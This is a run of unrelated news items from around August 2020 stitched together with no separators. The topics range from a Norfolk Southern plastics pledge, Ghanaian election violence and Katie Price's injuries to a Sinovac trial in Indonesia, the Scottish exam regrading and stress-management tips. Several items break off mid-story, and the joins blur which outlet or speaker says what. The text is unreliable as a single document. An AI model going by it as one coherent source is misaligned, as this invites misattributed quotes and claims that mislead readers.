/PRNewswire/ -- As the global plastics industry continues to grow, producers are looking for ways to minimize their impact on the environment. To help guide this effort, the American Chemistry Council and the Plastics Industry Association developed Operation Clean Sweep. This international program provides guidance for companies to prevent the release of micro plastics into marine ecosystems. On Wednesday, Aug. 5, Norfolk Southern (NYSE: NSC) a key partner in the plastics supply chain expressed its support by becoming the most recent Class I railroad in the United States to voluntarily sign the pledge. Norfolk Southern Chief Marketing Officer Alan Shaw signed the Operation Clean Sweep Pledge on behalf of the railroad, joining several of its customers to raise awareness for this environmental concern and demonstrating its dedication to the ecological well-being of the communities Norfolk Southern serves. "As part of the pledge, Norfolk Southern will work to achieve zero loss of plastic resin into the environment," said Shaw. "We are developing an extensive education campaign to raise awareness among our employees and we will increase our scrutiny to make sure the hopper cars we transport are properly secured and sealed." "Freight rail plays an important role in the chemical and plastics industry," he said, "and with that comes a duty to support the industry in its efforts to promote environmental responsibility." "This pledge is an opportunity for Norfolk Southern to lead by example," said Norfolk Southern Chief Sustainability Officer Josh Raglin. "Stewardship of resources is embedded in our business strategy. This effort will join our long list of actions and commitments to protecting the environment and supporting our communities, like our carbon mitigation programs, low-emission locomotives, land conservation, and living shoreline projects." About Norfolk Southern Norfolk Southern Corporation (NYSE: NSC) is one of the nation's premier transportation companies. Its Norfolk Southern Railway Company subsidiary operates approximately 19,500 route miles in 22 states and the District of Columbia, serves every major container port in the eastern United States, and provides efficient connections to other rail carriers. Norfolk Southern is a major transporter of industrial products, including chemicals, agriculture, and metals and construction materials. In addition, the railroad operates the most extensive intermodal network in the East and is a principal carrier of coal, automobiles, and automotive parts. SOURCE Norfolk Southern Corporation Related Links http://www.nscorp.com I dont think this is about the ability to enforce mandates. Schools, legislators and workplaces have all found ways to enforce mandates on womens bodies, or gender nonconforming bodies, for years. This is about a sickness that is far more pervasive than the coronavirus: the belief that ones comfort is more important than someone elses life. The stubborn resistance to science for reasons that often boil down to, I dont wanna. The refusal to acknowledge that living in a functioning society sometimes means sacrificing a tiny smidgen of personal liberty for the well-being of the group and that there are circumstances exceeding the boundaries of taste and discretion, where those sacrifices should be mandated: The presence of a deadly virus in the halls of a school is a better reason to enforce a dress code than the presence of bare shoulders. The Flagbearer of the largest opposition National Democratic Congress (NDC), John Dramani Mahama has accused the Akufo-Addo government of fomenting violence in the country. According to him, violence must not be an option in our democracy and the upcoming 2020 elections. Reacting to the violence that was witnessed in Dormaa constituency leading to the death of Kofi Labet, an NPP supporter, he accused the party of sending out armed men to kill their own activist. "I join the rest of our well meaning compatriots to mourn the loss of the NPP activist who was killed by gunshots discharged by armed thugs of his own party. It is crystal clear now for all to see that armed NPP thugs are running rampage everywhere and this portends a clear and present danger to our democracy," he wrote on Fcaebook. "Violence must never be an option in our democracy. Unfortunately, it is increasingly clear that having nurtured and democratized violence by his all "die be die" mantra, Nana Akufo-Addo has lost control of his own party, just as he has lost control of many sectors of the economy in Ghana, he stated. Read his full post below: I condemn the violence at the EC Voters registration center during the mop up exercise in Dormaa on Sunday. I join the rest of our well meaning compatriots to mourn the loss of the NPP activist who was killed by gunshots discharged by armed thugs of his own party. It is crystal clear now for all to see that armed NPP thugs are running rampage everywhere and this portends a clear and present danger to our democracy. Violence must never be an option in our democracy. Unfortunately, it is increasingly clear that having nurtured and democratized violence by his all "die be die" mantra, Nana Akufo-Addo has lost control of his own party, just as he has lost control of many sectors of the economy in Ghana. In January 2021, a new administration under my leadership will fix our economy and restore justice and peace to our beloved Ghana. I condemn the violence at the EC Voters registration center during the mop up exercise in Dormaa on Sunday. I join the... Posted by John Dramani Mahama on Monday, August 10, 2020 Source: Josephine Acheampomaa/[email protected] Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Katie Price has been warned by doctors that she 'must take her recovery seriously or she could risk losing a leg'. The former glamour model, 42, broke both of her feet and ankles in a freak accident while on holiday in Turkey last month, and is now said to have been left 'terrified' by her surgeon's stark warning. The mother-of-five has been told she may not walk for over a year and requires major surgery - but medics are concerned about how prone Katie has been to infections after previous operations. Terrified: Katie Price has been warned she could lose a leg if it becomes infected after breaking both feet in a freak accident on holiday in Turkey -pictured in Surrey in Tuesday A source told The Sun: 'Katie's doctors have warned her she must take her recovery seriously and it's left her terrified. 'She's prone to getting infections after operations, and her surgeon says she could lose a leg if her feet get infected. 'She'll have to be so, so careful - she'll have medical professionals on call 24/7 - and change the dressings regularly. She's got a long road ahead of her.' A source said: 'She's prone to getting infections after operations, and her surgeon says she could lose a leg if her feet get infected' Putting on a brave face: Katie showed off her pink and purple glittery casts as she was pictured out in Surrey on Tuesday When contacted by MailOnline, a representative for the star said : 'Katie I can confirm will be undergoing major surgery this week to correct her injuries sustained on her recent holiday to Turkey.' Despite her health woes, Katie is currently loved up with new man, Carl Woods, although he was not with her when she was pictured out in Surrey on Tuesday. Katie looked a little down in the dumps as a friend wheeled her in her chair, showing off her pink and purple glittery casts. It's clear that despite everything Katie has been going through, she's determined to keep an optimistic outlook. Katie recently explained she broke her ankles and feet during a 'silly accident' while on holiday with her beau Carl Woods, 31, and her kids Princess, 13, and Junior, 15. Taking to her YouTube channel, the star explained: 'Silly me, at my age, should calm things down. Basically, silly little accident. I was running and jumped over a wall, as it was a little shortcut, and didn't really judge the height. Katie has been prone to infections in the past. She famously risked getting sepsis while in the Big Brother house back in 2015 after corrective surgery got infection, leaving an open wound 'I just sort of fell funny on my ankles and I fractured the hairline on my heels and stuff. The hospital here wanted to operate and wanted to put pins in and stuff. Because I'm away, I'd rather wait until I get home.' She continued: 'It's the most painful thing ever. Like when I was trying to put the cast on, I was screaming in pain. They said I won't be able to walk for three to six months.' Katie was rushed to A&E in Turkey last week for emergency surgery after doctors realised the extent of her horrific injuries. Agony: Katie posted a video on Monday of her experience at the hospital in Turkey as she fractured both ankles by jumping off a wall at a theme park on her holiday Horrific: Katie was rushed to A&E in Turkey last week for emergency surgery after doctors realised the extent of her horrific injuries The TV personality had to spend a night in hospital after fracturing both ankles after she jumped off a wall at the holiday theme park, Land Of Legends. According to doctors, she will need pins in her feet which will undoubtedly be another agonising experience. Katie thought she might have to cut her holiday short to head home with her Love Island beau, Carl. However, she decided to endure the pain and ride it out in Turkey for the sake of her children so that they could enjoy the rest of their holiday. Holidaying: Katie recently explained she broke her ankles and feet during a 'silly accident' while on holiday with her beau Carl Woods, 31, and her kids Princess, 13, and Junior, 15 Trooper! Following her accident, she decided to endure the pain and ride it out in Turkey for the sake of her children so that they could enjoy the rest of their holiday Carl has been by Katie's side throughout the ordeal, and as they arrived back home on Wednesday it's been revealed the smitten pair are planning to move in together. A representative for Katie confirmed the plans, explaining: 'As Katie is temporarily wheelchair-bound, something no one could have foreseen, she has voiced the possibility of looking for a property that would work better for her wheelchair access and mobility scooter. 'Carl as Katie's carer would be living with her. There is a lot to consider: Katie's rehabilitation, the children, school, respective family, work commitments. 'Essex would be a probable location - Katie however remains in her current rented property in Surrey.' Fun: On Saturday, Katie's beau Carl uploaded a hilarious video to Instagram of Katie zooming around on her scooter They also said: 'Katie has been advised prior to any surgical procedure of the risks attached - however, Katie is in the very best of expert hands and all risk is minimal. Earlier this week Katie slammed trolls who accused her of faking her injury - as her daughter Princess claimed her mother won't walk properly for a year. Taking to an Instagram video, the mother and daughter addressed those who have accused them of lying - after one troll claimed Katie was in fact abroad having bunion surgery. 'By the way, someone said on my Instagram, ''Oh she has had bunions done on both feet!'' 'Well, when I have the X-rays and show you, I haven't had bunions, I have never had bunions in my life!' Katie insisted. Sad: Katie revealed on Thursday she had received some 'devastating news', amid claims that she won't be able to walk for six months Princess then chimed in, saying: 'She'll be in a wheelchair for three to six months - but she won't walk for a year!' Attempting to explain the condition - which sees a painful bump appear where the toe and foot connect - Katie seemed unsure herself, saying: 'Like, you know, the side where you get like... that is one thing perfect about me, my feet! But obviously they are not perfect now! 'At least I am learning to use the wheelchair better now!' Katie and the family travelled to Turkey for a relaxing getaway last week but things quickly turned to disaster whens he broke both her ankles. Riding it out! Katie thought she might have to cut her holiday short to head home with her Love Island beau, Carl The reality star shared a clip of her trip to hospital on Monday as she writhed in agony and she cried out 'it f***ing hurts' and 'someone help me' as medics tended to her injured feet. Katie posted a video online from her stint in hospital as she got her feet bandaged up by medical staff and she cried out from the horrendous pain. As the doctor attempted to reposition her broken leg, the former glamour model yelled out 'help, ouch, It's hurting me,' and pleaded with staff to operate on her. Katie has been prone to infections in the past. She famously risked getting sepsis while in the Big Brother house back in 2015 after corrective surgery got infection, leaving an open wound. And face surgery last year also became infected, which she documented on her Quest Red reality show, Katie Price: My Crazy Life. Share this article Whatsapp Facebook Twitter Linkedin Tri Indah Oktavianti (The Jakarta Post) Jakarta Tue, August 11, 2020 18:19 526 6657ac82168da9fa101c8a4066d2b897 1 Health Jokowi,coronavirus,COVID-19,COVID-19-vaccines,human-trial,Bio-Farma,pandemic,SARS-CoV-2,novel-coronavirus,virus-corona Free President Joko Jokowi Widodo on Tuesday voiced optimism about the COVID-19 candidate vaccine being developed in the country. We have been developing our own vaccine for the past three months, specifically from the COVID-19 virus strain spread in Indonesia. Hopefully the vaccine will be ready soon and it [the vaccine development] is expected to be completed by mid-2021, he said Tuesday at a ceremony to launch late-stage human trials of the vaccine being developed by China's Sinovac Biotech Ltd with Indonesian state-owned peer Bio Farma at the Padjadjaran University (Unpad) School of Medicines hospital in Bandung, West Java. Twenty registered volunteers were injected with the potential vaccine for the first time at the hospital of Unpads School of Medicine on Tuesday. The trial is expected to finish in six months at the earliest and will require a total of 1,620 volunteers. According to Bio Farma, 540 volunteers were gathered in the first phase of registration, and 1,080 volunteers are expected to be enrolled in the second phase. West Java Governor Ridwan Kamil announced Monday that he had registered himself as a volunteer for the trials, but was currently still waiting for confirmation. Bio Farma envisioned gradual trials, with 120 volunteers scheduled to receive injections by this week and 144 volunteers to take part in each of the following weeks. We are proud that a state-owned enterprise [SOE] like Bio Farma in partnership with Sinovac Biotech of China are able to begin phase III clinical trials. Not many countries or institutions have been able to reach this stage, SOEs Minister Erick Thohir, who is also the head of the COVID-19 mitigation and national economic recovery committee, said in a written statement on Tuesday. The candidate vaccine known as CoronaVac and previously PiCoVacc, is among few potential vaccines that have entered late-stage trials for a large-scale study to gather proof of efficacy for regulatory approval. It is one of 26 candidate vaccines that are in clinical evaluation according to a compilation made by the World Health Organization (WHO) on July 31. There are 139 candidate vaccines in preclinical evaluation. If the clinical trial proves the candidate vaccine is effective in battling the coronavirus, the minister vowed to facilitate the company for mass production. I thank the volunteers, the laboratory teams from Bio Farma and Sinovac, as well as Padjadjaran University for conducting the crucial stage of this vaccine development. [] If it goes well, we will prepare the vaccine registration to the Food and Drug Supervisory Agency (BPOM), so that the vaccine can be massively produced to combat COVID-19, he added. Previously, Erick claimed Bio Farma was ready to produce 250 million doses of the Sinovac coronavirus vaccine per year by the end of 2020. Fourteen days after receiving the first injections, volunteers who show no reaction will be scheduled to receive the second injection and the health condition of each volunteer will be followed over the course of six months. The clinical trials are expected to be finished by January 2021 at the earliest. tech2 News Staff At the beginning of July, with around four reported cases of the bubonic plague, Mongolia was put on alert for a possible plague outbreak. Now, the second bubonic plague related death has taken place in the Suji Xincun village in the Chinese region of Inner Mongolia. The victim's house has been sealed and sanitized along with the neighbouring houses. Nine close contacts of the victim along with 26 secondary contacts have been quarantined and their tests have come out negative, according to a statement by the Baotou Health committee. The village of Suji Xincun has also been sealed and the villagers are being monitored for abnormalities like fever and have been tested for the plague as well. According to CNN, the district of Damao Banner, where the village is located, has been put on Level-III alert for plague prevention until the end of the year. The alert forbids the hunting and eating of animals that carry the plague and asks the public to report any suspected cases of plague or fever with no clear causes and to report any sick or dead marmots. Marmots are a carrier for the plague and can spread by their cough. The plague can also jump from marmots to humans through the bite of the tarbagan flea or through consumption of marmot meat. Level-III alert is the third-highest in the nation's four-level system. China's public health alert system is categorized into four levels in terms of the incidents' nature, the extent of harm and scope: Level-I (Extremely significant), Level-II (Significant), Level-III (Major) and Level-IV (Normal). News of the bubonic plague first broke on 5 July 2020 when a herdsman from the city of Bayannur in the Chinese region of Inner Mongolia was diagnosed with the bubonic plague. He was isolated in a local hospital and his condition is stable. The second case of a 15-year-old boy was reported as well. He lived in the remote southwest province of Gobi-Altai and had caught the plague after hunting and eating a marmot. He was the first victim of the plague this year. Two brothers in Mongolias Khovd province also tested positive for the bubonic plague after eating the meat of a marmot. What is the Black Plague? There are three types of plagues with the Bubonic plague being the deadliest of the lot. According to the Center for Disease Control and Prevention, people infected with the plague develop fever, headache, chills, and weakness. They can also develop one or more swollen, tender and painful lymph nodes that are also called buboes. This form is usually the result of an infected flea bite. The Bubonic plague is a bacterial infection that spreads from fleas who have bitten infected rodents like mice, rats, rabbits and squirrels. It has a reproduction rate of 5-7, according to a study published in Science Direct, which means one person can spread the disease to five to seven people. The symptoms can start showing up after an incubation period of 1-7 days. The WHO states that while it is a deadly disease, it can be treated easily with antibiotics and the use of standard preventive measures. However, if not treated properly, the bacteria can spread to other parts of the body and cause death is antibiotics are not administered within 24 hours of the first symptoms. The disease has a 30-60 percent fatality rate if left untreated. Also Read: Case of bubonic plague detected in Mongolia: All you need to know about the Black Death Mastercard has launched a new low-cost payments solution that enables small business owners to move their businesses online and accept a range of digital payments from their customers. The SME-in-a-Box solution is powered by Mastercards payment technology and that of its fintech partners, including payments and agency banking solutions company SmartPesa, a Mastercard StartPath partner. The solution will aid small and micro merchants across the region in expanding their customer base via digital platforms and enable sustainable revenue growth. The unique offering enables business owners to access a wide range of financial services quickly and easily through a single intuitive app compatible with all Android mobile devices. The apps functionality supports contactless payments, QR code payments, and has the ability to generate e-payment links for remote payments. Acquirers can also access a white label app to rapidly take the solution to market. SME in a Box offers a low-cost acceptance service that can run on smart phones and is powered by Mastercard Payment Gateway Services. It also delivers speed and simplicity with remote digital onboarding services from Mastercards StartPath partners. In addition, through its Simplify Commerce offering, Mastercard will enable SMEs with a plug-&-play e-commerce store builder with an instant online checkout. These capabilities have been packaged as a bundled solution combined with special incentives to drive adoption and support business owners to tackle challenges during COVID-19. Gaurang Shah, Senior Vice President, Product Management, Digital Payments & Labs, Middle East and Africa Mastercard, commented: The SME market represents 90% of businesses in MENA, and has been deeply impacted by the pandemic. We recognize the overwhelming pressure that small business owners are currently facing and are committed to supporting them through COVID-19 and beyond by bringing our tools at a low cost and rapid time to market. The SME in a Box offering provides SME owners with a quick and simple way to digitize their business and build a platform for sustained future growth. Barry Levett, Founder of SmartPesa, said: Historically, selling products and accepting payments via multiple channels, including in-store and online, was an advantage afforded only to large retailers. We hope that the SME in a Box solution gives smaller entrepreneurs across the region the confidence to expand their businesses and thrive in todays fast-changing world. Mastercard has made a global commitment to bring 1 billion people into the digital economy by 2025. This includes 50 million small businesses and 25 million women entrepreneurs. As part of its response to the Covid-19 pandemic, Mastercard has pledged $250 million in financial, technology, product, and insights support over the next five years to small businesses across the globe, supporting the financial security and vitality of businesses and their workers. TradeArabia News Service Entrepreneurs are intrinsically problem solvers. Sometimes the problem is discernible, but mostly it is the uncanny art of perceiving a problem that can be solved. But what if from a young age, your mind is trained to see a problem and help is rendered to get to its solution? Seems far-fetched, but totally true and in fact, happening right now. Former school teacher Lisa Heydlauff came from the UK two decades ago in a quest to know how children go to school in India her expedition got her the answer but she also delivered a secret recipe to produce the next generation of Indian entrepreneurs. Lisa Heydlauff unleashed an initiative amongst Indias school children and youth to help them cultivate their instincts to turn into problem solvers. Launched in Delhi some weeks ago and recently in Kolkata, the initiative called Map of Me is soon to address probable entrepreneurs in Bengaluru. For Lisa Heydlauff, MoM is a mobile/digital set of stories to enable young people everywhere to learn 21st Century Entrepreneurial Skills and explore new problem-solving enterprises they can start in the city, she says, MOM is for young people, so its about skills and how to be an entrepreneur in the city, how to get people together around your idea, how to start something new that is for-profit, creates jobs and helps a lot of people. MOM has two audiences young people age 18-23 who have mobile phones and commute to work by public transport, and its for young people in Grade 11 and 12 to explore our 26 steps to make a new school to work life plan. What Map of Me Does: If you are between the age group of 16-18 and what to explore your school to work life plan or if there is a problem you want to solve, you can go follow Map of Me's 26 steps and create a business/entrepreneurial online bullet journal for yourself. 26 steps is aeries of easy steps to guide young people through the process of thinking of a problem and finding a solution. At the end of the exercise, the path to the goal is magically unfurled in your own bullet journal. The information you found is saved, designed and logged for you to understand the plan youre making. Online to offline: While the initiative is currently online because of the lockdown, it will be reaching schools once they reopen, when BT volunteers and Going to School teams take the 26 steps online platform to young people in Government schools, bringing both the technology and mentoring aspect of being able to ask someone with a cool career how they did what they do. Highlighting Young Entrepreneurs: Map of Me covers what young people want to know about in the city from Street Food to Street Art and has a fierce commitment to digging deep and understanding how young entrepreneurs in the city are problem-solving for everyone. There are over 100 stories on the channel featuring young sustainable entrepreneurs, most of whom are young women. Lockdown blessing Understandably young people are feeling low in lockdown, MOM hopes to cheer young people up with compelling stories to be able to learn skills and do new things. MOM is online, free, new content everyday and you can even win cool stuff if you answer the quizzes correctly - bicycles, helmets and backpacks to cycle to school or work? Yes! Past & Current Success: As proof of success and her vision. Lisa has spent many years in India creating educational solutions for young people from low-income groups to develop entrepreneurial skills if its offline through graphic novels in 1,000 Government Secondary Schools in Bihar, or online through the newly launched Map of Me or on TV, The Childrens Scrappy News Service and School TV are compelling narratives about what young people can do to problem-solve for everyone using their design-thinking entrepreneurial skills tool box. Australia's new Ninja Warrior winner has told of experiencing horrific bullying while he was growing up. On Monday night history was made as ninja favourite Ben Polson, from Perth, climbed to the top of Mt Midoriyama and slammed the buzzer, sending fans into a frenzy. Ben Polson is Australia's newest Ninja Warrior. Credit:Nine Supported by girlfriend Olivia Vivian from the sidelines, who was wiped out in stage two of the grand final, Polson had all the support he needed. Polson said he felt intimidated after flying through the last two stages of the finals showdown, leaving the towering ninja under a monstrous obstacle. S cotlands Education Secretary has said more than 124,000 exam results downgraded by a controversial moderation process will revert to the grades estimated by pupils teachers. John Swinney made the announcement in a statement at the Scottish Parliament. As a result of the pandemic, exams were cancelled and a new grading system put in place, with teachers estimates of pupils attainment moderated by the Scottish Qualifications Authority (SQA). This was based on criteria including the past performance of schools. It resulted in 124,564 exam results being downgraded about a quarter of all grades handed out by the SQA this year. The pass rate for higher pupils from the most deprived areas of Scotland was reduced by 15.2 per cent, compared with 6.9 per cent in the most affluent parts of the country. Mr Swinney said: I can confirm to Parliament today that all downgraded awards will be withdrawn. John Swinney / Getty Images Using powers available to me in the Education (Scotland) Act 1996, I am today directing the SQA to reissue those awards based solely on teacher or lecturer judgment. Schools will be able to confirm the estimates they provided for pupils to those that are returning to school this week and next. The Education Secretary faced criticism from pupils, parents and teachers, with opposition politicians calling for him to resign. Mr Swinney is set to face a vote of no confidence later this week, tabled by Scottish Labour and supported by the Conservatives, with the Lib Dems and Greens withholding judgment until after his statement on Tuesday. His statement follows First Minister Nicola Sturgeon apologising to pupils for the way results were handled this year. As a result of the changes, the new Higher pass rate for 2020 is 89.2 per cent, 14.4 per cent higher than the previous year. The National 5 pass rate has also increased by 10.7 per cent to 88.9 per cent, as well as the Advanced Higher pass rate rising to 93.1 per cent a rise of 13.7per cent. Final headline results will be published on August 21, while changes to the appeals process will be published later this week. The Scottish Greens have called for the Scottish Government to hold an urgent review into the scandal and into the exams system as a whole. Scottish First Minister Nicola Sturgeon / Getty Images Mr Swinney said that a current review being conducted by the Organisation for Economic Co-operation and Development (OECD) into the Curriculum for Excellence would be expanded to include recommendations on how to transform the Scottish approach to assessment and qualifications, based on best practice globally. He also said that an investigation will be undertaken to look at how this years awards were handed out. He said: Coronavirus has not gone away and, while we expect next years exams to go ahead, we need to put in place the right plans to make sure we dont find ourselves in the same situation again. Mr Swinney announced that a rapid consultation exercise with teachers will start this week, looking at removing parts of course assessment and adjusting the volume of evidence required in coursework. He also announced a full independent review chaired by Professor Mark Priestly of Stirling University to look into the circumstances of this years awards, including the approach taken to estimate pupils grades, the impact the process had on young people and their families and the transparency of the process. Loading.... An initial report is expected, the Education Secretary said, within five weeks. With reporting by PA Media CHISINAU (UrduPoint News / Sputnik - 12th August, 2020) Moldovan farmers, who have lost crops, drove agricultural machinery to the country's highways and blocked traffic on the Chisinau-Causeni road, calling on the authorities to support them, a Sputnik correspondent reported on Tuesday. Agriculture industry workers from the Moldovan regions of Causeni and Stefan Voda have previously staged a protest on the country's highways over the lack of government support amid a harvest failure. Many farmers have lost this year's crops due to the inclement weather. "We want to block the highway for at least 20 minutes so that the authorities pay attention to us. And we are ready to repeat this every two hours. And if they do not hear us after that, we will send tractors to Chisinau. In the Cimislia region, the highway has already been blocked, too," one of the protesters said. Traffic was restored in 20 minutes, as promised by the protesters, however, it was said to be a warning action. Meanwhile, on Tuesday, the Moldovan lawmakers created a working group to tackle the issue. The country's meteorologists have said that this past winter was abnormally warm with insufficient precipitation, as many areas received between 40 and 70 percent of the expected rainfall. A drought in spring was followed by heavy rains and hail in May, which washed away a large part of the crops. A coalition of left-leaning Democratic Groups supporting Holyoke Mayor Alex B. Morse in his bid to unseat U.S. Rep. Richard E. Neal in the First Congressional District accused the College Democrats of Massachusetts Tuesday of trying to torpedo Morses chances in the race. How did a letter from the College Democrats sent to Mayor Alex Morse via email end up in The Daily Collegian this past weekend? David Greenberg, a spokesman for the CD-1 Progressive Coalition, wrote in a statement. It is disingenuous at best, as the CDMA would say, to suggest that the public dissemination of the very vague accusations against Alex, three weeks before the September 1 Primary, is not a political act intended to affect the outcome. The College Democrats have said they acted independently and there was no quid pro quo with Neal. The congressmans campaign has also denied involvement. The College Democrats last week sent Morse a letter disinviting him from its events and outlining allegations that Morse used his position of power for romantic or sexual gain, including sexual relationships with students at the University of Massachusetts Amherst and other schools in the Five College Consortium. Morse responded saying that he has had relationships with college students, but that the backlash is homophobic and that he didnt violate UMass policy. Morse taught a political science course at the university for several semesters; school officials have said he will not be hired back as an adjunct lecturer. The CD-1 Progressive Coalition agreed, saying: We have read Alexs statement in response to the allegations and have no reason to doubt its veracity. He has offered to fully support and participate in a process that will address the issues at hand. We certainly empathize with anyone who might have been affected and support due process wherever it may lead. We continue to fully support the candidacy of Alex Morse for Congress because the CDMA has provided no tangible evidence that would cause us to change our position. The coalition includes groups like Franklin County Continuing the Political Revolution, Greylock Together, Indivisible Northampton, Indivisible Pittsfield, Indivisible Williamsburg, Our Revolution Chicopee, Pioneer Valley Womens March, Rise Up Western Mass. Indivisible, and Voices Rising Together. While Morse retained the support of the Massachusetts Nurses Association and LGBTQ Victory Fund, he has lost support from an organization concerned about what it described as his lack of regard for the power dynamics at play between college students and a teacher who is an elected official. The Sunrise Western Mass Coalition said Monday its members have voted to rescind the groups endorsement of Morse in the Sept. 1 Democratic primary for the states First Congressional District. Related Content: People queue up outside a Centrelink office for government payments in Melbourne on April 20, 2020. (William West/AFP via Getty Images ) Morrison Government Hints at Further Economic Incentives For Businesses Australian federal finance minister Mathias Cormann has indicated that the government would offer more incentives encouraging businesses to invest and thus hire more workers. The message came as the nation is bracing for an uphill battle to keep the economic recovery on track as the second wave of COVID-19 causes a sweeping lockdown in Victoria. Speaking to Sevens Sunrise program on Aug. 10, Cormann said getting on top of the health crisis in Victoria and getting businesses to invest would be the critical elements in the governments five-year plan for economic recovery, outlined in the October budget. That is key ingredient number one to get the economy going again and beyond that, to get businesses investing into their future wealth and success again, so they start hiring Australians again, he said. We want to restore the jobs that were lost, and we want to create new jobs moving forward. He indicated that the government would announce more incentives encouraging businesses investment in near future, to complement policies already in place such as asset write-off acceleration. Cormann also left the door open for further changes to the JobKeeper scheme, highlighting the governments preparedness to responding to the evolving situation. He said while the current attention is to phase out the fiscal support at an unprecedented crisis level in terms of JobKeeper, the government is prepared to respond to the fact as it emerges. Cormanns message reflects a growing concern that uncertainties surrounding Victorias situation is dampening the countrys economic momentum and could lead to an extended recession. In the updated economic forecast released on Aug. 6 at a press conference, Treasury has also estimated that the stage 3 and 4 Victorian restrictions would wipe $10 billion to $12 billion off the national economy in the three months to Sept. 30. While 80 percent of the cost relates to the affected areas in Victoria, it also factors in the impact on economic confidence and supply chains in other states. The effective unemployment rate, which takes into account people working zero-hours or dropping out of the labour force, was also revised up to 13 percent from the current 11 percent, which translates to between 250,000 and 400,000 more people losing their jobs. Speaking at the press conference, Prime Minister Scott Morrison said: This is a heavy blow, a heavy blow. But Morrison noted that it was not unexpected given the situation. These measures will have a very significant cost, and it will impact the recovery path, but the task doesnt change, Morrison said. We band together, and we make this work. And we work together across the country to do the things we need to do, to boost that demand, to encourage that investment, to rebuild our economy, and to go forward, he said. NAB data for the week ended Aug. 1 suggests the trend decline in consumer spending triggered by the situation in Victoria has continued. With stage 3 restrictions in effect, spending in the state fell sharply by 5.3 percent and predates stage 4 restrictions announced on Aug. 2. A broad-based slowdown was also evident in all other states and territories, and all industry sectors. Conference Call COLUMBUS, OH, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Intellinetics, Inc. ( OTCQB: INLX ) will hold a conference call to discuss its financial results for the second quarter of 2020 on Friday, August 14, 2020, at 9:30 a.m. Eastern Time. The conference call can also be accessed by dialing + 19292056099 and providing passcode 85468060721#. If you are unable to participate during the live call, a replay of the conference call will be available approximately two hours after the completion of the call through August 31, 2020. To listen to the replay, the call will be archived on the company's website at https://www.intellinetics.com/company-news/ . Disclosure Information Intellinetics uses and intends to continue to use its Investor Relations website as a means of disclosing material nonpublic information and for complying with its disclosure obligations under Regulation FD. Accordingly, investors should monitor the companys Investor Relations website, in addition to following the companys press releases, SEC filings, and any public conference calls, presentations, and/or webcasts. About Intellinetics, Inc. Intellinetics, Inc., located in Columbus, Ohio, is a cloud-based document services software provider. Its IntelliCloud suite of solutions serve a mission-critical role for organizations in highly regulated, risk and compliance-intensive markets in Healthcare, K-12, Public Safety, Public Sector, Risk Management, Financial Services and beyond. IntelliCloud solutions make content secure, compliant, and process-ready to drive innovation, efficiencies and growth. Through its Image Technology Group and production scanning department, hundreds of millions of images have been converted from paper to digital, paper to microfilm, and microfiche to microfilm for business and federal, county, and municipal governments. Its operations in Madison Heights, Michigan, also provides its clients with long-term paper and microfilm storage and retrieval options. For additional information, please visit www.intellinetics.com . Story continues CONTACT: Joe Spain, CFO Intellinetics, Inc. 614.921.8170 investors@intellinetics.com While the book offers no new bombshells, it does add small details to stories everyone thinks they already know. Markle and Prince Harry were secretly engaged for months before the world knew; Prince Harry had a secret Instagram account with the handle @SpikeyMau5; the prince said I love you first and she responded immediately. However, a visit to George and Amal Clooneys Lake Como home seems to serve only as a reminder that the royal couple is friends with the Clooneys. Too much space is dedicated to clarifying that, counter to what the British press claimed, Markle did not make the Duchess of Cambridge cry at a bridesmaid dress fitting. Five pages are spent explaining that Markle did not demand and then fail to receive the emerald tiara that she supposedly wanted for her wedding, another viral story from 2018. Its clarified that Markle and the duchess (the former Kate Middleton) were together only a handful of times before the 2018 wedding and that, instead of sending flowers for her birthday, Markle would have preferred that the duchess check in during difficult moments. The examples of when Prince Harrys own family failed to defend him and his wife stack up in a way that makes it easier to understand why the couple felt the need to exit the Firm by the end of 2019: They had to take a back seat to the other royals engagements, they disliked the bureaucracy of Buckingham Palace and they couldnt speak up for themselves when attacked in the press. That, combined with the royal silence despite multiple requests from Prince Harry that someone in the family defend Markle left them feeling that the institution was using them for their popularity. Finding Freedom successfully illuminates Prince Harrys obsession with the press. What has typically been described as Markles preoccupation with the media seems to be more of an issue for him. He is the one who reads the comments on stories about them, not her. He blames the press for his mothers death and worries that his wife could suffer a similar fate. The book fails to answer the pressing question of why the queens staff, or that of the Cambridges or even Charles and Camilla, stayed silent when one of their own felt as if he and his wife were under attack to the extent that, according to the authors, Prince Harry likened a week of meetings with his familys various aides as having been spent standing in front of a firing squad. The Sussexes brought modernity, youth and popularity to the royal brand, so why were they left standing alone in the end? The book also fails to explore how much it mattered within palace walls that Markle is Black. Finding Freedom does offer an alternative to the story line that has become a go-to for the couples detractors, in particular for those who argue that Markle is high maintenance and controlling, and has forced her husband to leave his family. Here she is presented as the independent woman who emboldened him to stand up for himself and do whatever it took to get what he wanted: a life outside the Firm. Market America | SHOP.COMs Five Simple Ways to Help Manage Stress During The New Normal 2020 has not been the year most of us expected it to be. Its been quite a period of adjustment with changes affecting everyone. Needless to say, with so much uncertainty comes a lot of stress for many. Whether youre acclimated to dealing with stress or not, its not something you need to face alone Market America | SHOP.COM is here to help! The term stress is often lumped together with the word anxiety and its important to note that the two are very different. Medical News Today clarifies stress versus anxiety as Stress tends to be short term and in response to a recognized threat. Anxiety can linger and can sometimes seem as if nothing is triggering it. So, while our tips may help if you find yourself suffering from anxiety, it is always important to seek the opinion of a medical professional as well. Believe it or not, there is actually both good and bad stress. The American Institute of Stress breaks down stress into four different types: acute stress, chronic stress, distress and eustress. Acute stress is related to fight or flight and situations in which the body prepares to defend itself. Chronic stress refers to the uncontrolled stress that we ignore, letting it build up. It can stem from a lot of causes, such as bills or relationships, and can lead to health problems in the future if we continue to ignore it. Distress is also caused by similar factors such as negative feelings, work difficulties, etc Distress is different from chronic stress, though, because it is stress we deal with regularly thats not ignored long term like chronic stress is. For example, a few tough days at work is most likely distress because it is temporary stress we deal with whereas chronic stress would be caused by long term stressors that get ignored such as underlying relationship issues or constant financial stress. Last but not least is eustress, a/k/a good stress. This is stress in daily life that has positive connotations like job promotions, marriage/happy relationships and others. Stress can have significant effects on the body and mind. Chronic stress is typically the culprit when it comes to physical and mental effects of stress. From stomach aches, tense muscles and high blood pressure to fertility problems, risk of heart attack and a weakened immune system, stress can really take its toll on our bodies. Here are five ways to help manage your stress. 1. Accept Stress: Its best to acknowledge that we cant make all of our stress disappear, and thats okay! Life is not meant to be full of only great days, because without the bad ones we would never appreciate the good ones. 2. Meditation and 